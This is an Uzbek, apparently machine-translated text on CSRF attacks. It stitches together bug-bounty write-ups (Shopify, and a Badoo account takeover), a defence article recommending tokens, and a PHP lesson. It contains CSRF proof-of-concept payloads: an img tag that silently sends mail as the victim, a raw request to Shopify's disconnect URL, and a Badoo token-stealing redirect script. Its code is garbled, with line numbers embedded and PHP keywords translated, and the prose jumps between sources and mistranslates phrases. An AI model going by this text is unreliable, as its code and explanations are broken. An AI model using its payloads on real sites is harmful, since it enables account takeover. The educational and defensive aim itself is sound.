Bu rasm malicious_site.com saytiga so‘rov yuboradi va CSRF hujumiga sabab bo‘lishi mumkin.

Endi siz CSRF hujumlarining xavfidan xabardor bo'lganingizdan so'ng, siz ulardan bir necha usullar bilan himoya qilishingiz mumkin, ulardan eng mashhuri, ehtimol, ma'lumotlarni o'zgartirishi mumkin bo'lgan har qanday so'rov bilan yuborilishi kerak bo'lgan CSRF tokenidan foydalanish ( POST so'rovlari kabi). Veb-ilova (masalan, Bobning onlayn-banki) ikkita qismdan iborat token yaratishi kerak, ulardan birini Bob oladi, ikkinchisi esa ilovada saqlanadi.

Bob pul o‘tkazmasiga so‘rov yubormoqchi bo‘lganida, u token yuborishi kerak bo‘ladi, u bank tomonidan ilovada saqlangan token yordamida haqiqiyligi tekshiriladi.

Endi biz CSRF va CSRF tokenlari haqida bilganimizdan so'ng, Cross Origin Resource Sharing (CORS) mantiqiyroq bo'ladi, garchi men buni yangi maqsadlarni o'rganayotganimda payqagan bo'lsam ham. Umuman olganda, CORS ma'lumotlarga kirishi mumkin bo'lgan resurslar ro'yxatini cheklaydi. Boshqacha qilib aytadigan bo'lsak, CORS saytni himoya qilish uchun foydalanilganda, maqsadli dasturga qo'ng'iroq qilish uchun Javascript yozishingiz, javobni o'qishingiz va agar maqsadli sayt sizga ruxsat bersa, boshqa qo'ng'iroq qilishingiz mumkin.

Agar bu chalkashdek tuyulsa, HackerOne.com/activity.json saytiga qo‘ng‘iroq qilish uchun Javascriptdan foydalanib ko‘ring, javobni o‘qing va ikkinchi qo‘ng‘iroqni amalga oshiring. Quyidagi №3 misolda buning ahamiyatini va mumkin bo'lgan vaqtinchalik echimlarni ko'rasiz.

Va nihoyat, shuni ta'kidlash kerakki (Jobert Abmaga buni ta'kidlagani uchun rahmat) CSRF tokeni bo'lmagan har bir so'rov bekor emas. Ba'zi saytlar qo'shimcha tekshiruvlarni amalga oshirishi mumkin, masalan, boshlang'ich sarlavhani solishtirish (garchi bu xavfsiz ekanligi kafolatlanmagan va chetlab o'tishning ma'lum holatlari mavjud). Bu so'ralgan manbaga bog'langan sahifaning manzilini aniqlaydigan maydon. Boshqacha qilib aytganda, agar boshlang'ich tomon (yo'naltiruvchi)

HTTP so'rovini olgan saytdan boshqa saytdan POST qo'ng'irog'ini amalga oshirsa, sayt qo'ng'iroqning CSRF tokenidan foydalanish bilan bir xil effektga erishishiga ruxsat bermasligi mumkin. Bundan tashqari, har bir sayt token yaratish yoki belgilashda csrf atamalaridan foydalanmaydi. Masalan, Badoo-da bu quyida tavsiflanganidek rt parametridir.

CSRF uchun OWASP testini o'qing

Misollar 1. O'rnatilgan Shopify foydalanuvchilarini eksport qilish

Qiyinchilik: past
Url: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users

Tavsif:

Shopify API yuqorida ko'rsatilgan URL orqali o'rnatilgan foydalanuvchilar ro'yxatini eksport qilish uchun so'nggi nuqtani taqdim etadi. Zaiflik shundaki, sayt ushbu so'nggi nuqtaga so'rov yuborishi va javoban ma'lumot olishi mumkin edi

Shopify bu so‘rovni tasdiqlash uchun CSRF tokenidan foydalanmadi. Natijada, shubhasiz jabrlanuvchi nomidan ariza yuborish uchun quyidagi HTML koddan foydalanish mumkin.

1 2 csrf 3 4 7 8 9

Ushbu misolda, oddiy tashrif bilan Javascript sahifalar jabrlanuvchining brauzerida o'rnatilgan Shopify cookie-fayllaridan foydalangan holda Shopify API-ga GET so'rovini o'z ichiga olgan shaklni yuboradi.

xulosalar

Hujumlaringiz ko'lamini oshiring va xatolarni nafaqat saytda, balki APIda ham qidiring. API so'nggi nuqtalari ham foydalanish uchun potentsial yo'ldir, shuning uchun buni yodda tutish kerak, ayniqsa API veb-interfeys yaratilgandan keyin ishlab chiqilgan yoki mavjud bo'lishi mumkinligini bilsangiz.

2. Shopify-ni Twitter-dan uzing

Qiyinchilik: past
Url: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect

Shopify Twitter integratsiyasini ta'minlaydi, bu do'kon egalariga o'z mahsulotlari haqida tvit qilish imkonini beradi. Xuddi shunday, xizmat sizga bog'langan do'kondan Twitter hisobini uzish imkonini beradi.

Twitter hisobingizni do'kondan o'chirish uchun URL yuqorida keltirilgan. Soʻrovni amalga oshirayotganda Shopify CSRF tokenini tasdiqlamadi, bu tajovuzkorga soxta havola yaratishga imkon berdi, bu esa bosilganda, shubhasiz doʻkon egasi oʻz doʻkonini Twitterdan uzib qoʻyishiga olib keladi.

Zaiflikni tavsiflashda WeSecureApp zaif so'rovning quyidagi misolini taqdim etdi; img tegidan foydalanish zaif URL manziliga qo'ng'iroq qilishini unutmang:

1 OLISH /auth/twitter/disconnect HTTP/1.1 2 Xost: twitter-commerce.shopifyapps.com 3 Foydalanuvchi-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.1 4 1; rv:43.0) Gecko/20100101 Firefox/4 5 Qabul qilish: text/html, application/xhtml+xml, application/x 6 ml 7 Accept-Language: en-US,en;q=0.5 8 Qabul qilish-kodlash: gzip, deflate 9 Referer: https://twitter-commerce .shopifyapps.com/accou 10 nt 11 Cookie: _twitter-commerce_session=REDACTED 12 >Ulanish: tut-alive

Brauzer uzatilgan URL manzilidan rasm olish uchun GET so‘rovini yuborganligi va CSRF tokeni tasdiqlanmaganligi sababli, maxsus do‘kon endi o‘chirib qo‘yilgan:

1 2 3 5 6

xulosalar

Bunday holatda, tavsiflangan zaiflik Burp yoki Firefox Tamper Data kabi proksi-server yordamida, Shopify-ga yuborilgan so'rovni ko'rib chiqish va so'rov GET so'rovi yordamida amalga oshirilganligini ko'rish orqali topilishi mumkin edi. Bu buzuvchi bo'lgani va GET so'rovlari serverga ma'lumotlarni o'zgartirmasligi kerakligi sababli, buni tekshirishga arziydi.

3. Badoo-da hisobni to'liq egallab oling

Qiyinchilik: o'rtacha
Url: https://badoo.com
Hisobot havolasi: https://hackerone.com/reports/12770312
Hisobot sanasi: 2016 yil 1 aprel
To'langan mukofot: $852

Tavsif:

Agar siz Badoo-ga qarasangiz, ular URL-ga rt parametrini kiritish orqali CSRF dan himoya qiladi, bu atigi 5 ta belgidan iborat (hech bo'lmaganda yozish vaqtida). Badoo HackerOne’da kampaniya boshlaganida buni payqagan bo‘lsam ham, undan foydalanishning yo‘lini topa olmadim. Biroq, Mahmud Jamol (zombiehelp54) uni topdi.

Rt parametrining ma'nosini tushunib etgach, u parametr deyarli barcha json javoblarida qaytarilganligini ham payqadi. Afsuski, bu hech qanday foyda keltirmadi, chunki CORS ushbu javoblarni o'qish orqali Badoo-ni hujumlardan himoya qiladi. Mahmud qidiruvda davom etdi.

Ma'lum bo'lishicha, https://eu1.badoo.com/worker-scope/chrome-ser faylida rt qiymati mavjud. Eng yaxshisi bu fayl edi
tajovuzkor tomonidan o'zboshimchalik bilan o'qilishi mumkin edi va talab qilmadi
jabrlanuvchi zararli veb-sahifaga tashrif buyurishdan boshqa hech qanday harakat qilmaydi. Mana u taqdim etgan kod:

1 2 3 Badoo hisobi 4 6 7 8 9 dan ortiq qabul qilingan getCSRFcode(str) ( 10 return str.split('='); 11 ) 12 window.onload = function())( 13 var csrf_code = getCSRFcode(url_stats); 14 csrf_url = 'https://eu1.badoo.com/google/verify.phtml?c 15 ode=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authu 16 ser=3&session1+state=48bone=48b csrf_code ;18 window.location = csrf_url 19); 20

Asosan, jabrlanuvchi sahifani yuklaganida, u Badoo skriptiga so'rov yuboradi, o'sha foydalanuvchi uchun rt parametrini oladi va keyin jabrlanuvchi nomidan so'rov yuboradi. Bunda aynan Mahmudning akkauntini jabrlanuvchining akkaunti bilan bog‘lash hisobni to‘liq egallab olish imkonini berdi.

xulosalar

Tutun bor joyda olov bor.Mahmud bu yerda rt parametri turli joylarda, maxsus json javoblarida qaytarilayotganini payqadi. Shunday qilib, u bu holatda JS faylida foydalanish mumkin bo'lgan joyda ko'rsatilishi mumkinligini to'g'ri taxmin qildi.

Natijalar

CSRF hujumlari boshqa xavfli hujum vektorini ifodalaydi va jabrlanuvchi tomonidan kam yoki umuman faol harakatlarsiz amalga oshirilishi mumkin. CSRF zaif tomonlarini topish biroz zukkolik va yana hamma narsani sinab ko'rishga tayyorlikni talab qiladi.

Qoidaga ko'ra, agar sayt POST so'rovini yuborsa, shakllar sukut bo'yicha Rails kabi ramkalar bilan himoyalanadi, ammo APIlar mumkin

alohida hikoya bo'lsin. Masalan, Shopify asosan Ruby on Rails ramkasida yozilgan bo'lib, u sukut bo'yicha barcha shakllar uchun CSRF himoyasini ta'minlaydi (garchi u o'chirib qo'yilishi mumkin). Biroq, bu ramka yordamida yaratilgan API-lar uchun bu shart emas. Va nihoyat, serverdagi ma'lumotlarni o'zgartiradigan (masalan, o'chirish harakati) va GET so'rovi yordamida amalga oshiriladigan qo'ng'iroqlarga e'tibor bering.

Men ushbu zaiflik nima ekanligini va eng muhimi, CSRF hujumini amalga oshirish uchun qanday shartlar zarurligini tasvirlashga harakat qildim.

Ushbu maqolada men ushbu turdagi hujumlardan himoya haqida gapirishga harakat qilaman:

• Mijoz tomondan - o'zingizni himoya qilishning asosiy usullari
• Server tomoni - to'g'ri dastur dizayni

Agar siz o'zingizni CSRF dan qanday himoya qilishga qiziqsangiz, mushukka xush kelibsiz.

umumiy ma'lumot

Umuman olganda, sizga eslatmoqchimanki, CSRF zaiflik EMAS, bu hujumning bir turi. Va bu hujum veb-ilovaning oxirgi foydalanuvchisiga ushbu ilovadagi zaiflikdan foydalangan holda amalga oshiriladi, uni "So'rov manbasining to'g'ri tekshirilmaganligi" deb atash mumkin (men o'zim nom bilan chiqdim, qat'iy hukm qilmang, lekin bu haqiqat). Ammo bundan keyin men CSRF ni zaiflik deb atayman, chunki u oddiyroq va bu shunday qabul qilinadi =)

Hujum esa foydalanuvchiga amalga oshirilgani uchun foydalanuvchi o'zini himoya qilishi kerak... shunchaki hazil =) Gap shundaki, har qanday foydalanuvchi o'zi foydalanadigan istalgan saytida (bu saytlar bo'lmasa ham) bu hujum ehtimolini kamaytirishi mumkin. CSRF dan o'rnatilgan himoya). Ammo foydalanuvchilarga qo'shimcha ravishda, sayt ishlab chiquvchilari o'zlarining ilovalarini o'z foydalanuvchilariga ushbu hujumni amalga oshirish imkoniyatini oldini oladigan tarzda loyihalashlari mumkin.

Keling, ikkala tomondan himoyani ko'rib chiqaylik.

Foydalanuvchi himoyasi

Umuman olganda, bu erda hamma narsa juda oddiy:

• Sizga uchinchi shaxslar tomonidan taklif qilingan havolalarni bosmang. Bu eng oddiy maslahat, menimcha, hamma buni biladi, lekin men buni yana bir bor aytishga qaror qildim.
• Muayyan sayt bilan ishlashni tugatgandan so'ng avtorizatsiyani bekor qiling. Zaiflik mavjud bo'lsa ham, tajovuzkor sizning nomingizdan maqsadli saytda harakatlarni amalga oshira olmaydi.
• Muhim saytlar bilan ishlash uchun alohida brauzer yoki "shaxsiy yoki anonim rejimlar" dan foydalaning (ideal holda, har bir sayt uchun bitta brauzerdan foydalaning ^_^ yoki undan ham yaxshiroq, alohida kompyuter: D).

Ana xolos. Endi asosiy narsaga o'tamiz.

Ishlab chiquvchi himoyasi

Yuqorida aytib o'tilganidek, zaiflik so'rov manbasini to'g'ri tekshirishning yo'qligidadir. Ya'ni, dasturni ishlab chiqishda biz ushbu manbani tekshirish uchun funksionallikni yaratishimiz kerak. Va xayolimizga kelgan birinchi narsa nima? To'g'ri! Referent tekshiruvi.

Referent tekshiruvi

Men maqolalarni diagonal ravishda o'qiydiganlar uchun darhol aytaman. Himoyangizni faqat ushbu sarlavhani tekshirishga asoslash yomon(!). Nima uchun - pastga qarang.

Birinchidan, bu usul nima ekanligini aniqlaylik.

Biz HTTP protokoli yordamida veb-saytlar bilan ishlaymiz. Ushbu protokolning har bir paketi sarlavhalar + paket mazmuni to'plamidir. Ushbu sarlavhalardan biri Referer. U havola manbasining manzilini o'z ichiga oladi. Arzimas misol: sizda A sayti ochiq, bu saytda siz B saytiga havolani bosasiz, hozirda so'rov qilganingizda Referer sarlavhasida A sayt manzili bo'ladi. Ya'ni, bu foydalanuvchi qaerdan kelganligini kuzatish uchun ideal mexanizm bo'lib tuyuladi.

Mana, horseradish. Va bu erda gap yo'naltiruvchi soxta bo'lishi mumkin emas (qanday aqli raso xaker jabrlanuvchidan refererni almashtirishni va ko'rsatilgan havolaga amal qilishni so'raydi). Va haqiqat shundaki, mening statistikamga ko'ra, foydalanuvchilarning taxminan 5 foizi Referer uzatishni o'chirib qo'ygan. Ya'ni, yoki bu besh foiz sayt bilan umuman ishlay olmaydi yoki ular ushbu hujumga zaif bo'ladi (sizning arizangiz siyosatiga qarab).

Ha, ha, ha, men nima deb o'ylayotganingizni bilaman ... Xo'sh, bu 5% nima? Ular zaif bo'lsin, ammo qolgan 95% himoyalangan va shu bilan birga siz ozgina qon sarflaysiz. Ya'ni, agar yo'naltiruvchida bizning arizamiz manzili bo'lsa yoki bo'sh bo'lsa, biz manbani tasdiqlangan deb hisoblaymizmi? Mana, yana horseradish keldi! Jabrlanuvchining brauzerini yo'naltiruvchini ko'rsatmasdan so'rovni bajarishga majburlash variantlari mavjud (men bu haqda yozganman)! Va voila! Ma'lum bo'lishicha, barcha foydalanuvchilar hali ham himoyasiz.

Umuman olganda, mustaqil usul sifatida bu usul ma'nosizdir.

Harakatni tasdiqlash

Siz har bir topshirish shakliga captcha qo'shishingiz va hatto ro'yxatdan o'tgan foydalanuvchilarga ularni CSRFdan saqlab qolish uchun ko'rsatishingiz mumkin... Garchi, ehtimol, men bunday tizimda ishlashdan ko'ra, o'z akkauntimni xakerga berishni afzal ko'raman...

Tokenlar

Xo'sh, endi yagona to'g'ri va ishonchli yo'l.

Ma'nosi bu usul har bir havolaga, topshirish shakliga va hokazolarga ba'zi "tokenlar" ni o'z ichiga olgan parametr qo'shishdan iborat. Va so'rovni qabul qilganda, server qabul qilingan parametrlarda ushbu token mavjudligini tekshirishi kerak. Tabiiyki, har bir foydalanuvchi uchun har bir token noyob bo'lishi kerak va agar har bir token noyob bo'lsa, undan ham yaxshiroq.

Amalga oshirishning eng oddiy va ishonchli misollaridan biri - har bir so'rov bilan yangi token yaratiladi va foydalanuvchining cookie-fayllariga o'rnatiladi va sahifadagi shakllar va havolalar parametrlariga qo'shiladi:

Va keyin, har bir so'rovni olgandan so'ng, cookie-fayllardan token shakl parametrlarida ko'rsatilgan token bilan taqqoslanadi. Va agar ular bir xil bo'lsa, unda so'rovning manbai qonuniydir. Keyin token yana yaratiladi va yana cookie-faylga o'rnatiladi va hokazo. dumaloq.

Umuman olganda, amalga oshirish boshqacha bo'lishi mumkin, ammo muammo shundaki, tokenlarga o'tish juda qiyin, chunki siz har bir havolani, har bir shaklni, har bir sahifani hisobga olishingiz kerak ... Siz faqat muhim sahifalarni/shakllarni/havolalarni himoya qilishingiz mumkin, lekin keyin ulardan ba'zilarini o'tkazib yuborish imkoniyati mavjud.

Men shaxsan faqat POST shakllarini va juda muhim havolalarni himoya qilaman. Ya'ni, mening ilovalarimdagi POST to'g'ri tokensiz ishlamaydi. Bu qandaydir shaklni himoya qilishni unutish imkoniyatini yo'q qiladi, chunki u ishlamaydi va men buni darhol sezaman.

Xulosa

Umid qilamanki, ushbu maqoladan siz o'zingizni CSRF hujumlaridan qanday himoya qilishni tushunasiz.

Muallifdan: ushbu darsni yozib olishimizga forumimizdagi savol sabab bo'ldi, u shunday yangradi: veb-saytni CSRF hujumlaridan qanday himoya qilish kerak? Albatta, biz ushbu mavzu bo'yicha darhol javob berdik va himoya mexanizmini amalga oshirish uchun kichik algoritmni taqdim etdik. Ammo, ehtimol, barcha o'quvchilarimiz forumni o'qimaganligi sababli, men yuqoridagi masala bo'yicha alohida dars yozishga qaror qildim.

Darhol ta'kidlashni istardimki, joriy video kerakli veb-saytda amalga oshirilishi mumkin bo'lgan to'liq tayyor echimni taqdim etmaydi. Chunki har biringizda o'ziga xos mantiqiy tuzilishga ega, ya'ni boshqalardan mutlaqo farq qiladigan veb-saytingiz bor yoki bo'ladi, demak, hamma narsani kuzatib, tayyor himoya skriptini yaratish mumkin emas. mumkin bo'lgan variantlar amalga oshirish.

Va buning hojati yo'q, chunki himoya mexanizmining mohiyati juda oddiy va shuning uchun hozirgi videoda, sinov saytining misolidan foydalanib, siz o'zingizni yuqoridagi hujum turidan qanday himoya qilishingiz mumkinligini ko'rasiz va keyin, olingan bilimlarga asoslanib, siz o'zingizning loyihangizda shunga o'xshash qadamlarni qo'yasiz. Shunday qilib, keling, boshlaylik.

CSRF inglizcha Cross-Site Request Forgery so'zlaridan tuzilgan qisqartma bo'lib, saytlararo so'rovni soxtalashtirish degan ma'noni anglatadi. Bu atama 2001 yilda Piter Uotkins tomonidan ancha oldin taqdim etilgan, ammo odamlar bunday hujumlar haqida 1988 yilda gapira boshlagan. E'tibor bering, etarli vaqt allaqachon o'tdi, lekin hali ham ko'pchilik Internet-saytlar ushbu hujumga duchor bo'lmoqda. Darhol savol tug'iladi - nega bu shunday? Va javob juda oddiy va CSRF hujumlariga zaiflik dastur kodidagi xato emas, balki brauzer va veb-serverning mutlaqo normal ishlashining natijasidir.

Hujumning mohiyati shundaki, tajovuzkor boshqa ro'yxatdan o'tgan (vakolatli) foydalanuvchi nomidan himoyalanmagan veb-saytda turli harakatlarni amalga oshirishi mumkin. Boshqa so'z bilan bu tur hujum foydalanuvchining tajovuzkor veb-saytiga tashrif buyurishini o'z ichiga oladi, bu esa, o'z navbatida, u sezmagan holda, ba'zi oldindan belgilangan harakatlar ushbu foydalanuvchi joylashgan boshqa veb-sayt yoki xizmatda amalga oshirilishiga olib keladi. bu daqiqa vakolatli.

Bunday holda, qoida tariqasida, CSRF hujumlarining maqsadlari muayyan harakatlarni bajaradigan turli xil interaktiv veb-ilovalar, masalan, elektron pochta xabarlarini yuborish xizmatlari, turli forumlar, to'lov tizimlari va boshqalar. Ya'ni, xaker boshqa foydalanuvchilar nomidan ba'zi harakatlarni bajarishi mumkin - xabarlar yuborishi, yangi hisoblar qo'shishi, moliyaviy operatsiyalarni amalga oshirishi va hokazo.

Endi sinov maydonchasi misolida ushbu hujumning ta'sirini ko'rib chiqamiz.

Aytaylik, veb-sayt bor, uning vazifasi yuborish elektron pochta vakolatli foydalanuvchi nomidan belgilangan manzilda. Ya'ni, yoqilgan bosh sahifa biz xabar yuborish uchun shaklni ko'ramiz. Bundan tashqari, GET so'rovi orqali ma'lum parametrlarni o'tkazishda xabarlarni yuborish mexanizmi ham mavjud (masalan,). Kirish sahifasi quyidagicha ko'rinadi:

Bu sahifa juda oddiy, lekin sizning e'tiboringizni tortadigan narsa bu "A'zo" katakchasi bo'lib, u brauzer cookie-fayllarida avtorizatsiya ma'lumotlarini saqlash uchun ishlatiladi. Aslida, bu mexanizm foydalanuvchilar uchun juda qulay, chunki u sahifaga takroriy kirishni osonlashtiradi, ammo xavfsizlik nuqtai nazaridan bu juda istalmagan. Ammo baribir, tashrif buyuruvchilar uchun ko'pincha ma'lum imtiyozlarga ega bo'lish kerak.

Ikki usul (GET va POST) yordamida xabarlarni jo'natish uchun kod quyidagicha ko'rinadi:

//Xat yuborilmoqda if($this->isGet() && !empty($_GET["email"])) ( $body = "Salom, bu xabar shakli - ".$this->user["name"] ; $body .= " Kontent - GET dan - ".$_GET["kontent"].." Kimdan - ".$_GET["email"]; mail(" [elektron pochta himoyalangan]","Yangi xabar",$body); ) if($this->isPost()) ( $body = "Salom, bu xabar shakli - ".$this->user["name"]; $body .= " Kontent - POSTDAN - ".$_POST["kontent"]."Kimdan - ".$_POST["email"]; mail(" [elektron pochta himoyalangan]","Yangi xabar",$body); )

//Xabar yuborish agar ($ this -> isGet () && ! empty ( $ _GET [ "email" ] ) ) ( $tana =. $ bu -> foydalanuvchi [ "ism" ] ; $tana. = "Tarkib - GET dan - " . $_GET["kontent"]. "dan -". $_GET["elektron pochta"]; agar ($this -> isPost()) ( $body = "Salom, bu xabar shakli - ". $ bu -> foydalanuvchi [ "ism" ] ; $tana. = "Tarkib - POSTDAN - " . $_POST["kontent"]. "dan -". $_POST["elektron pochta"]; pochta (" [elektron pochta himoyalangan]", "Yangi xabar", $body);

Keling, boshqa saytni ko'rib chiqaylik - xakerlar sayti.

Agar GET so'roviga hujum qilish kerak bo'lsa, u juda oddiy, ammo juda samarali kodni joylashtirishi mumkin:

< img src = "http://localhost/csrf/[elektron pochta himoyalangan]&content=Salom dunyo" >

Ya'ni, mohiyatiga ko'ra, biz img tegini ko'ramiz, uning src atributida ma'lum bir harakatni amalga oshirish uchun kerakli parametrlar to'plamiga ega hujumga mo'ljallangan saytga yo'l mavjud. Bizning holatda, bu xabar yuborishdir, ya'ni endi tajovuzkor foydalanuvchini joriy saytga jalb qilishi kerak va u bilmagan holda, qiziqqan saytga so'rov yuboriladi, chunki brauzer yuklashga harakat qiladi. tasvir, uning yo'li src atributida ko'rsatilgan. Shu bilan birga, brauzer cookie-fayllari avtorizatsiya ma'lumotlarini saqlashini eslaymiz va, albatta, dastur ularni darhol ishlatadi va shunga mos ravishda yuqoridagi so'rov server tomonidan muvaffaqiyatli qayta ishlanadi. Bu foydalanuvchi nomidan xabar yuborilishini anglatadi.

Agar biz so'rov bilan birga yuborilgan sarlavhalar to'plamini ko'rib chiqsak, unda haqiqatan ham kirish ma'lumotlari bilan cookie fayllarini ko'rishimiz mumkin. hisob, bu, albatta, yuqorida aytib o'tilganidek, so'rov autentifikatsiya qilingan foydalanuvchidan kelgan deb qabul qilinishini anglatadi.

Xuddi shu holat so'rov yuborish bilan bog'liq. POST usuli, faqat bu holatda, tajovuzkor o'z veb-saytida tashrif buyuruvchi ushbu saytga kirishi bilan avtomatik ravishda JavaScript yordamida yuboriladigan shakl yaratadi.

Shunday qilib, o'zingizni bunday turdagi hujumlardan himoya qilish juda zarur va eng ko'p samarali usul himoya qilish - bu maxsus tokenlardan foydalanish.

Xavfsizlik tokeni ma'lum bir foydalanuvchi uchun tasodifiy yaratilgan va ma'lumotlarni o'zgartirishni o'z ichiga olgan har bir so'rovda uzatiladigan qatordir. Bundan tashqari, token sessiyada ham saqlanadi. Shunday qilib, himoyaning mohiyati so'rovda uzatiladigan token va sessiyada saqlanadigan tokenning muvofiqligini oddiy tekshirishga to'g'ri keladi. Agar ikkala token ham bir xil boʻlsa, soʻrov vakolatli foydalanuvchi tomonidan yuborilgan. Agar tokenlar mos kelmasa yoki so'rovda umuman token bo'lmasa, biz katta ishonch bilan hujum amalga oshirilayotganini hukm qilishimiz mumkin, ya'ni hech qanday harakatni amalga oshirib bo'lmaydi.

Muayyan harakatlarni o'zgartirish yoki bajarishga qaratilgan mutlaqo barcha so'rovlar himoyalangan bo'lishi kerakligini unutmang.

Aslida, bu bosqichda darsning matn qismi tugallandi va biz video variantda berilgan mavzu haqida suhbatni davom ettiramiz. Shu bilan birga, biz tokenlarni yaratish usullarini ko'rib chiqamiz va yuqorida tavsiflangan himoya algoritmini amalda qo'llaymiz. Endi xayrlashaylik. Baxtli kodlash!!!